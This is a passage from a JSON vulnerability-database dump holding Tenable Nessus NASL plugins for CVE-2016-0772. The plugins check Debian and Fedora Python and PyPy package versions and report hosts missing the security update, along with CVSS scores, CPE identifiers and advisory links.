advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://lists.debian.org/debian-lts-announce/2017/03/msg00029.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/wheezy/python3.2\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Upgrade the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:idle-python3.2\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:libpython3.2\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:python3.2\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:python3.2-dbg\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:python3.2-dev\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:python3.2-doc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:python3.2-examples\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:python3.2-minimal\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:7.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/03/25\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/03/27\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"7.0\", prefix:\"idle-python3.2\", reference:\"3.2.3-7+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"libpython3.2\", reference:\"3.2.3-7+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"python3.2\", reference:\"3.2.3-7+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"python3.2-dbg\", reference:\"3.2.3-7+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"python3.2-dev\", reference:\"3.2.3-7+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"python3.2-doc\", reference:\"3.2.3-7+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"python3.2-examples\", reference:\"3.2.3-7+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"python3.2-minimal\", reference:\"3.2.3-7+deb7u1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2021-01-12T10:14:03", "description": "Security fix for CVE-2016-0772\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 18, "cvss3": {"score": 6.5, "vector": "AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N"}, "published": "2016-07-14T00:00:00", "title": "Fedora 24 : python (2016-2869023091)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772"], "modified": "2016-07-14T00:00:00", "cpe": ["cpe:/o:fedoraproject:fedora:24", "p-cpe:/a:fedoraproject:fedora:python"], "id": "FEDORA_2016-2869023091.NASL", "href": "https://www.tenable.com/plugins/nessus/92070", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2016-2869023091.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(92070);\n script_version(\"1.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2016-0772\");\n script_xref(name:\"FEDORA\", value:\"2016-2869023091\");\n\n script_name(english:\"Fedora 24 : python (2016-2869023091)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Security fix for CVE-2016-0772\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2016-2869023091\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected python package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:python\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:24\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2016/09/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/06/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/07/14\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2016-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^24([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 24\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC24\", reference:\"python-2.7.11-6.fc24\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"python\");\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2021-01-12T10:14:36", "description": "Security fix for CVE-2016-0772\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 18, "cvss3": {"score": 6.5, "vector": "AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N"}, "published": "2016-07-15T00:00:00", "title": "Fedora 23 : python (2016-a0853405eb)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772"], "modified": "2016-07-15T00:00:00", "cpe": ["cpe:/o:fedoraproject:fedora:23", "p-cpe:/a:fedoraproject:fedora:python"], "id": "FEDORA_2016-A0853405EB.NASL", "href": "https://www.tenable.com/plugins/nessus/92274", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2016-a0853405eb.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(92274);\n script_version(\"2.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2016-0772\");\n script_xref(name:\"FEDORA\", value:\"2016-a0853405eb\");\n\n script_name(english:\"Fedora 23 : python (2016-a0853405eb)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Security fix for CVE-2016-0772\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2016-a0853405eb\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected python package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:python\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:23\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2016/09/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/06/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/07/15\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2016-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^23([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 23\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC23\", reference:\"python-2.7.11-5.fc23\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"python\");\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2021-01-12T10:14:39", "description": "Security fix for CVE-2016-0772\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 18, "cvss3": {"score": 6.5, "vector": "AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N"}, "published": "2016-07-15T00:00:00", "title": "Fedora 23 : pypy (2016-aae6bb9433)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772"], "modified": "2016-07-15T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:pypy", "cpe:/o:fedoraproject:fedora:23"], "id": "FEDORA_2016-AAE6BB9433.NASL", "href": "https://www.tenable.com/plugins/nessus/92279", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2016-aae6bb9433.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(92279);\n script_version(\"2.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2016-0772\");\n script_xref(name:\"FEDORA\", value:\"2016-aae6bb9433\");\n\n script_name(english:\"Fedora 23 : pypy (2016-aae6bb9433)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Security fix for CVE-2016-0772\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2016-aae6bb9433\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected pypy package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:pypy\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:23\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2016/09/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/07/05\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/07/15\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2016-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^23([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 23\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC23\", reference:\"pypy-4.0.1-3.fc23\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"pypy\");\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2021-01-12T10:13:59", "description": "Security fix for CVE-2016-0772\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 18, "cvss3": {"score": 6.5, "vector": "AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N"}, "published": "2016-07-15T00:00:00", "title": "Fedora 24 : python3 (2016-105b80d1be)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772"], "modified": "2016-07-15T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:python3", "cpe:/o:fedoraproject:fedora:24"], "id": "FEDORA_2016-105B80D1BE.NASL", "href": "https://www.tenable.com/plugins/nessus/92230", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2016-105b80d1be.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(92230);\n script_version(\"2.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2016-0772\");\n script_xref(name:\"FEDORA\", value:\"2016-105b80d1be\");\n\n script_name(english:\"Fedora 24 : python3 (2016-105b80d1be)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Security fix for CVE-2016-0772\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2016-105b80d1be\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected python3 package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:python3\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:24\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2016/09/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/06/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/07/15\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2016-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^24([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 24\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC24\", reference:\"python3-3.5.1-9.fc24\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"python3\");\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2021-01-12T10:14:00", "description": "Security fix for CVE-2016-0772\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 18, "cvss3": {"score": 6.5, "vector": "AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N"}, "published": "2016-07-15T00:00:00", "title": "Fedora 24 : pypy (2016-13be2ee499)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772"], "modified": "2016-07-15T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:pypy", "cpe:/o:fedoraproject:fedora:24"], "id": "FEDORA_2016-13BE2EE499.NASL", "href": "https://www.tenable.com/plugins/nessus/92231", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2016-13be2ee499.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(92231);\n script_version(\"2.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2016-0772\");\n script_xref(name:\"FEDORA\", value:\"2016-13be2ee499\");\n\n script_name(english:\"Fedora 24 : pypy (2016-13be2ee499)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Security fix for CVE-2016-0772\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2016-13be2ee499\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected pypy package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:pypy\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:24\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2016/09/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/07/05\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/07/15\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2016-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^24([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 24\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC24\", reference:\"pypy-5.0.1-3.fc24\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"pypy\");\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2021-01-12T11:05:35", "description": "The remote host is affected by the vulnerability described in 